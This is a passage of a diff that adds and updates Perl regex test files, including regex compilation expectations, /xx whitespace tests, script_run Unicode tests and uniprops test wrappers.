+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{108}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{109}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{10A}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{10B}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{10C}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}]' => 'ANYOF[0102-0104 0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{107}]' => 'ANYOF[0102-0104 0106-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{108}]' => 'ANYOF[0102-0104 0106-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{109}]' => 'ANYOF[0102-0104 0106-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{10A}]' => 'ANYOF[0102-0104 0106-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{10B}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{10C}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-{INFINITY_minus_1}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}-{INFINITY}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{104}]' => 'ANYOF[0104 0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{105}]' => 'ANYOF[0105-INFINITY]',
+ '[\x{106}-{INFINITY}\x{106}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{107}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{104}-\x{105}]' => 'ANYOF[0104-INFINITY]',
+ '[\x{106}-{INFINITY}\x{104}-\x{106}]' => 'ANYOF[0104-INFINITY]',
+ '[\x{106}-{INFINITY}\x{104}-\x{107}]' => 'ANYOF[0104-INFINITY]',
+ '[\x{106}-{INFINITY}\x{104}-{INFINITY_minus_1}]' => 'ANYOF[0104-INFINITY]',
+ '[\x{106}-{INFINITY}\x{104}-{INFINITY}]' => 'ANYOF[0104-INFINITY]',
+ '[\x{106}-{INFINITY}\x{105}-\x{106}]' => 'ANYOF[0105-INFINITY]',
+ '[\x{106}-{INFINITY}\x{105}-\x{107}]' => 'ANYOF[0105-INFINITY]',
+ '[\x{106}-{INFINITY}\x{105}-{INFINITY_minus_1}]' => 'ANYOF[0105-INFINITY]',
+ '[\x{106}-{INFINITY}\x{105}-{INFINITY}]' => 'ANYOF[0105-INFINITY]',
+ '[\x{106}-{INFINITY}\x{106}-\x{107}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{106}-{INFINITY_minus_1}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{106}-{INFINITY}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{107}-\x{107}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{107}-{INFINITY_minus_1}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{106}-{INFINITY}\x{107}-{INFINITY}]' => 'ANYOF[0106-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{100}]' => 'ANYOF[0100 0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{101}]' => 'ANYOF[0101-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{102}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{103}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{104}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{105}]' => 'ANYOF[0102-0105 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{106}]' => 'ANYOF[0102-0104 0106 010C-INFINITY]',
+);
+
+# 2**32-1 or 2**64-1
+my $highest_cp_string = "F" x (($Config{uvsize} < 8) ? 8 : 16);
+
+my $next_highest_cp_string = $highest_cp_string =~ s/ F $ /E/xr;
+
+my $highest_cp = "\\x{$highest_cp_string}";
+my $next_highest_cp = "\\x{$next_highest_cp_string}";
+
+plan(scalar (@tests - 1) / 2); # -1 because of the marker.
+
+my $skip_ebcdic = $::IS_EBCDIC;
+while (defined (my $test = shift @tests)) {
+
+ if ($test eq 'ebcdic_ok_below_this_marker') {
+ $skip_ebcdic = 0;
+ next;
+ }
+
+ my $expected = shift @tests;
+
+ SKIP: {
+ skip("test not ported to EBCDIC", 1) if $skip_ebcdic;
+
+ my $display_expected = $expected
+ =~ s/ INFINITY_minus_1 /$next_highest_cp/xgr;
+
+ # Convert platform-independent values to what is suitable for the
+ # platform
+ $test =~ s/\{INFINITY\}/$highest_cp/g;
+ $test =~ s/\{INFINITY_minus_1\}/$next_highest_cp/g;
+
+ $test = "qr/$test/";
+ my $actual_test = "use re qw(Debug COMPILE); $test";
+
+ my $result = fresh_perl($actual_test);
+ if ($? != 0) { # Re-run so as to display STDERR.
+ fail($test);
+ fresh_perl($actual_test, { stderr => 0, verbose => 1 });
+ next;
+ }
+
+ # The Debug output will come back as a bunch of lines. We are
+ # interested only in the line after /Final program/
+ my @lines = split /\n/, $result;
+ while (defined ($_ = shift @lines)) {
+ next unless /Final program/;
+ $_ = shift @lines;
+
+ s/ \s* \( \d+ \) \s* //x; # Get rid of the node branch
+ s/ ^ \s* \d+ : \s* //x; # ... And the node number
+
+ # Use platform-independent values
+ s/$highest_cp_string/INFINITY/g;
+ s/$next_highest_cp_string/INFINITY_minus_1/g;
+
+ is($_, $expected,
+ "Verify compilation of $test displays as $display_expected");
+ last; # Discard the rest of this test's output
+ }
+ }
+}
diff --git a/gnu/usr.bin/perl/t/re/keep_tabs.t b/gnu/usr.bin/perl/t/re/keep_tabs.t
new file mode 100644
index 00000000000..ec986c483f2
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/keep_tabs.t
@@ -0,0 +1,29 @@
+# This file contains tests where \t characters should not be expanded into
+# spaces.
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+}
+
+{
+ like("\t", qr/[a b]/x, '\t not ignored under /x');
+ unlike("\t", qr/[a b]/xx, '\t ignored under /xx');
+ like("a", qr/[a b]/xx, '"a" matches qr/[a b]/xx');
+ like("b", qr/[a b]/xx, '"b" matches qr/[a b]/xx');
+ like("\t", qr/[a\ b]/xx, '"\t" matches qr/[a\ b]/xx');
+ like("a", qr/[a\ b]/xx, '"a" matches qr/[a\ b]/xx');
+ like("b", qr/[a\ b]/xx, '"b" matches qr/[a\ b]/xx');
+
+ like("\t", qr/(?x:[a b])/, '\t not ignored under /x');
+ unlike("\t", qr/(?xx:[a b])/, '\t ignored under /xx');
+ like("a", qr/(?xx:[a b])/, '"a" matches qr/(?xx:[a b])/');
+ like("b", qr/(?xx:[a b])/, '"b" matches qr/(?xx:[a b])/');
+ like("\t", qr/(?xx:[a\ b])/, '"\t" matches qr/(?xx:[a\ b])/');
+ like("a", qr/(?xx:[a\ b])/, '"a" matches qr/(?xx:[a\ b])/');
+ like("b", qr/(?xx:[a\ b])/, '"b" matches qr/(?xx:[a\ b])/');
+}
+
+done_testing;
+
+# ex softtabstop=0 noexpandtab
diff --git a/gnu/usr.bin/perl/t/re/no_utf8_pm.t b/gnu/usr.bin/perl/t/re/no_utf8_pm.t
index 6595a248b34..15b1cb32937 100644
--- a/gnu/usr.bin/perl/t/re/no_utf8_pm.t
+++ b/gnu/usr.bin/perl/t/re/no_utf8_pm.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
plan tests => 1;
diff --git a/gnu/usr.bin/perl/t/re/pat_psycho.t b/gnu/usr.bin/perl/t/re/pat_psycho.t
index fada30293f1..fe87ac10e0b 100755
--- a/gnu/usr.bin/perl/t/re/pat_psycho.t
+++ b/gnu/usr.bin/perl/t/re/pat_psycho.t
@@ -19,11 +19,15 @@ $| = 1;
BEGIN {
chdir 't' if -d 't';
- @INC = ('../lib','.');
require './test.pl';
+ set_up_inc('../lib', '.');
if ($^O eq 'dec_osf') {
skip_all("$^O cannot handle this test");
}
+ my $time_out_factor = $ENV{PERL_TEST_TIME_OUT_FACTOR} || 1;
+ $time_out_factor = 1 if $time_out_factor < 1;
+
+ watchdog(5 * 60 * $time_out_factor);
}
diff --git a/gnu/usr.bin/perl/t/re/qr_gc.t b/gnu/usr.bin/perl/t/re/qr_gc.t
index ca82f420efc..ea2c3037170 100755
--- a/gnu/usr.bin/perl/t/re/qr_gc.t
+++ b/gnu/usr.bin/perl/t/re/qr_gc.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
undef &Regexp::DESTROY;
}
diff --git a/gnu/usr.bin/perl/t/re/qrstack.t b/gnu/usr.bin/perl/t/re/qrstack.t
index 47d190d0559..db5871c441d 100755
--- a/gnu/usr.bin/perl/t/re/qrstack.t
+++ b/gnu/usr.bin/perl/t/re/qrstack.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
plan tests => 1;
diff --git a/gnu/usr.bin/perl/t/re/reg_60508.t b/gnu/usr.bin/perl/t/re/reg_60508.t
index e370ca00714..ed74032a8e4 100755
--- a/gnu/usr.bin/perl/t/re/reg_60508.t
+++ b/gnu/usr.bin/perl/t/re/reg_60508.t
@@ -6,8 +6,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use utf8;
diff --git a/gnu/usr.bin/perl/t/re/reg_nc_tie.t b/gnu/usr.bin/perl/t/re/reg_nc_tie.t
index 3380b257e2b..b23dc8fda33 100755
--- a/gnu/usr.bin/perl/t/re/reg_nc_tie.t
+++ b/gnu/usr.bin/perl/t/re/reg_nc_tie.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_if_miniperl("no dynamic loading on miniperl, no Tie::Hash::NamedCapture");
}
diff --git a/gnu/usr.bin/perl/t/re/reg_nocapture.t b/gnu/usr.bin/perl/t/re/reg_nocapture.t
index f354ceab616..21ffe863f59 100644
--- a/gnu/usr.bin/perl/t/re/reg_nocapture.t
+++ b/gnu/usr.bin/perl/t/re/reg_nocapture.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/re/reg_pmod.t b/gnu/usr.bin/perl/t/re/reg_pmod.t
index 1db0bed3f61..a106e96b229 100755
--- a/gnu/usr.bin/perl/t/re/reg_pmod.t
+++ b/gnu/usr.bin/perl/t/re/reg_pmod.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/re/regexp_nonull.t b/gnu/usr.bin/perl/t/re/regexp_nonull.t
new file mode 100644
index 00000000000..885ef0f61db
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/regexp_nonull.t
@@ -0,0 +1,17 @@
+#!./perl
+
+# Matches regular expressions against strings with no terminating null
+# character.
+
+print("1..0 # Skip No XS::APItest under miniperl\n"), exit 0 if
+ !defined &DynaLoader::boot_DynaLoader;
+
+$no_null = 1;
+require XS::APItest;
+for $file ('./re/regexp.t', './t/re/regexp.t', ':re:regexp.t') {
+ if (-r $file) {
+ do $file or die $@;
+ exit;
+ }
+}
+die "Cannot find ./re/regexp.t or ./t/re/regexp.t\n";
diff --git a/gnu/usr.bin/perl/t/re/script_run.t b/gnu/usr.bin/perl/t/re/script_run.t
new file mode 100644
index 00000000000..10c71034c44
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/script_run.t
@@ -0,0 +1,100 @@
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+ set_up_inc('../lib');
+}
+
+use strict;
+use warnings;
+
+$|=1;
+
+# The Script_Extension property has only recently become reasonably stable, so
+# later Unicode releases may change things. Some of these tests were
+# designed to provide more code covereage in regexec.c, so changes in it or
+# later Standards could cause them to not test what they originally were aimed
+# to do.
+
+no warnings "experimental::script_run";
+
+# Since there's so few tests currently, we can afford to try each syntax on
+# all of them
+foreach my $type ('script_run', 'sr', 'atomic_script_run', 'asr') {
+ my $script_run;
+ eval '$script_run = qr/ ^ (*$type: .* ) $ /x;';
+
+ unlike("\N{CYRILLIC SMALL LETTER ER}\N{CYRILLIC SMALL LETTER A}\N{CYRILLIC SMALL LETTER U}}\N{CYRILLIC SMALL LETTER ER}\N{CYRILLIC SMALL LETTER A}l", $script_run, "Cyrillic 'paypal' with a Latin 'l' is not a script run");
+ unlike("A\N{GREEK CAPITAL LETTER GAMMA}", $script_run, "Latin followed by Greek isn't a script run");
+
+ like("\N{CYRILLIC THOUSANDS SIGN}\N{COMBINING CYRILLIC TITLO}", $script_run, "Cyrillic followed by Permic-Arabic is Arabic");
+ like("\N{OLD PERMIC LETTER AN}\N{COMBINING CYRILLIC TITLO}", $script_run, "Permic followed by Permic-Arabic is Permic");
+ unlike("\N{GLAGOLITIC CAPITAL LETTER AZU}\N{COMBINING CYRILLIC TITLO}", $script_run, "Glagolithic followed by Permic-Arabic isn't a script run");
+
+ like("\N{CYRILLIC THOUSANDS SIGN}\N{COMBINING CYRILLIC PALATALIZATION}", $script_run, "Cyrillic followed by Glagolithic-Arabic is Arabic");
+ like("\N{GLAGOLITIC CAPITAL LETTER AZU}\N{COMBINING CYRILLIC PALATALIZATION}", $script_run, "Glagolithic followed by Glagolithic-Arabic is Glagolithic");
+ unlike("\N{OLD PERMIC LETTER AN}\N{COMBINING CYRILLIC PALATALIZATION}", $script_run, "Permic followed by Glagolithic-Arabic isn't a script run");
+
+ like("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{ARABIC COMMA}\N{ARABIC-INDIC DIGIT FOUR}\N{THAANA LETTER HAA}", $script_run, "Arabic-Thaana chars followed by Thaana is Thaana");
+ unlike("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}A", $script_run, "Arabic-Thaana chars followed by Latin isn't a script run");
+ like("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{ARABIC COMMA}\N{ARABIC-INDIC DIGIT FOUR}\N{ARABIC NUMBER SIGN}", $script_run, "Arabic-Thaana chars followed by Arabic is Arabic");
+ unlike("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{EXTENDED ARABIC-INDIC DIGIT NINE}", $script_run, "Arabic-Thaana digits followed by an Arabic digit from a different sequence isn't a script run");
+ like("\N{ARABIC-INDIC DIGIT ZERO}\N{ARABIC-INDIC DIGIT ONE}\N{ARABIC-INDIC DIGIT TWO}\N{ARABIC-INDIC DIGIT THREE}\N{THAANA LETTER HAA}", $script_run, "Arabic-Thaana digits followed by a Thaana leter is a script run");
+
+ # The next tests are at a hard-coded boundary in regexec.c at the time of this
+ # writing (U+02B9/02BA).
+ like("abc\N{MODIFIER LETTER SMALL Y}", $script_run, "All Latin is a script run");
+ like("abc\N{MODIFIER LETTER PRIME}", $script_run, "Latin then Common is a script run");
+ like(":a", $script_run, "Common then Latin is a script run");
+ like("-\N{SINHALA LETTER RAYANNA}", $script_run, "Common then Sinhala (which has its own 0) is a script run");
+
+ like("\N{HEBREW LETTER ALEF}\N{HEBREW LETTER TAV}\N{MODIFIER LETTER PRIME}", $script_run, "Hebrew then Common is a script run");
+ unlike("\N{HEBREW LETTER ALEF}\N{HEBREW LETTER TAV}\N{MODIFIER LETTER SMALL Y}", $script_run, "Hebrew then Latin isn't a script run");
+ like("9876543210\N{DESERET SMALL LETTER WU}", $script_run, "0-9 are the digits for Deseret");
+ like("\N{DESERET SMALL LETTER WU}9876543210", $script_run, "Also when they aren't in the initial position");
+ unlike("\N{DESERET SMALL LETTER WU}\N{FULLWIDTH DIGIT FIVE}", $script_run, "Fullwidth digits aren't the digits for Deseret");
+ unlike("\N{FULLWIDTH DIGIT SIX}\N{DESERET SMALL LETTER LONG I}", $script_run, "... likewise if the digits come first");
+
+ like("1234567890\N{ARABIC LETTER ALEF}", $script_run, "[0-9] work for Arabic");
+ unlike("1234567890\N{ARABIC LETTER ALEF}\N{ARABIC-INDIC DIGIT FOUR}\N{ARABIC-INDIC DIGIT FIVE}", $script_run, "... but not in combination with real ARABIC digits");
+ unlike("\N{ARABIC LETTER ALEF}\N{ARABIC-INDIC DIGIT SIX}\N{ARABIC-INDIC DIGIT SEVEN}1", $script_run, "... nor when the ARABIC digits come before them");
+
+ # This exercises the case where the script zero but not the script is
+ # ambiguous until a non-ambiguous digit is found.
+ like("\N{ARABIC LETTER ALEF}\N{EXTENDED ARABIC-INDIC DIGIT EIGHT}", $script_run, "ARABIC with a Shia digit is a script run");
+
+ like("\N{U+03A2}", $script_run, "A single unassigned code point is a script run");
+ unlike("\N{U+03A2}\N{U+03A2}", $script_run, "But not more than one");
+ unlike("A\N{U+03A2}", $script_run, "... and not in combination with an assigned one");
+ unlike("\N{U+03A2}A", $script_run, "... in either order");
+ unlike("\N{U+03A2}0", $script_run, "... nor with a digit following");
+
+ like("A\N{COMBINING GRAVE ACCENT}", $script_run, "An inherited script matches others");
+ like("\N{COMBINING GRAVE ACCENT}A", $script_run, "... even if first in the sequence");
+
+ like("\N{COMBINING TILDE}\N{COMBINING GRAVE ACCENT}", $script_run, "A script containing only inherited characters matches");
+
+ like("\N{DEVANAGARI DOUBLE DANDA}\N{DEVANAGARI DANDA}\N{DEVANAGARI STRESS SIGN UDATTA}\N{DEVANAGARI STRESS SIGN ANUDATTA}\N{NORTH INDIC FRACTION ONE QUARTER}\N{NORTH INDIC QUANTITY MARK}", $script_run, "A bunch of narrowing down of multiple possible scripts");
+
+ unlike("\N{JAVANESE PANGRANGKEP}\N{GEORGIAN PARAGRAPH SEPARATOR}", $script_run, "Two code points each in multiple scripts that don't intersect aren't a script run");
+ like("\N{DEVANAGARI SIGN CANDRABINDU VIRAMA}\N{VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA}", $script_run, "Two code points each in multiple scripts that 't intersect singly are a script run");
+
+ like("", $script_run, "An empty string is a script run");
+
+ use utf8;
+
+ # From UTS 39
+ like("写真ã ã‘ã®çµå©šå¼", $script_run, "Mixed Hiragana and Han");
+
+ unlike "\N{THAI DIGIT FIVE}1", $script_run, "Thai digit followed by '1'";
+ unlike "1\N{THAI DIGIT FIVE}", $script_run, "'1' followed by Thai digit ";
+ unlike "\N{BENGALI DIGIT ZERO}\N{CHAKMA DIGIT SEVEN}", $script_run,
+ "Two digits in same extended script but from different sets of 10";
+}
+
+ # Until fixed, this was skipping the '['
+ unlike("abc]c", qr/^ (*sr:a(*sr:[bc]*)c) $/x, "Doesn't skip parts of exact matches");
+
+ like("abc", qr/(*asr:a[bc]*c)/, "Outer asr works on a run");
+ unlike("abc", qr/(*asr:a(*asr:[bc]*)c)/, "Nested asr works to exclude some things");
+
+done_testing();
diff --git a/gnu/usr.bin/perl/t/re/subst_amp.t b/gnu/usr.bin/perl/t/re/subst_amp.t
index f05d95d2ac9..c6fac6513b3 100755
--- a/gnu/usr.bin/perl/t/re/subst_amp.t
+++ b/gnu/usr.bin/perl/t/re/subst_amp.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/re/uniprops01.t b/gnu/usr.bin/perl/t/re/uniprops01.t
new file mode 100644
index 00000000000..4b4231c7c6f
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops01.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=1;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops02.t b/gnu/usr.bin/perl/t/re/uniprops02.t
new file mode 100644
index 00000000000..8895ae9ae3f
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops02.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=2;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops03.t b/gnu/usr.bin/perl/t/re/uniprops03.t
new file mode 100644
index 00000000000..c866407de73
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops03.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=3;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops04.t b/gnu/usr.bin/perl/t/re/uniprops04.t
new file mode 100644
index 00000000000..7689df0e4da
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops04.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=4;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops05.t b/gnu/usr.bin/perl/t/re/uniprops05.t
new file mode 100644
index 00000000000..0573377547f
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops05.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=5;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops06.t b/gnu/usr.bin/perl/t/re/uniprops06.t
new file mode 100644
index 00000000000..74e6c45d4ad
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops06.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=6;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
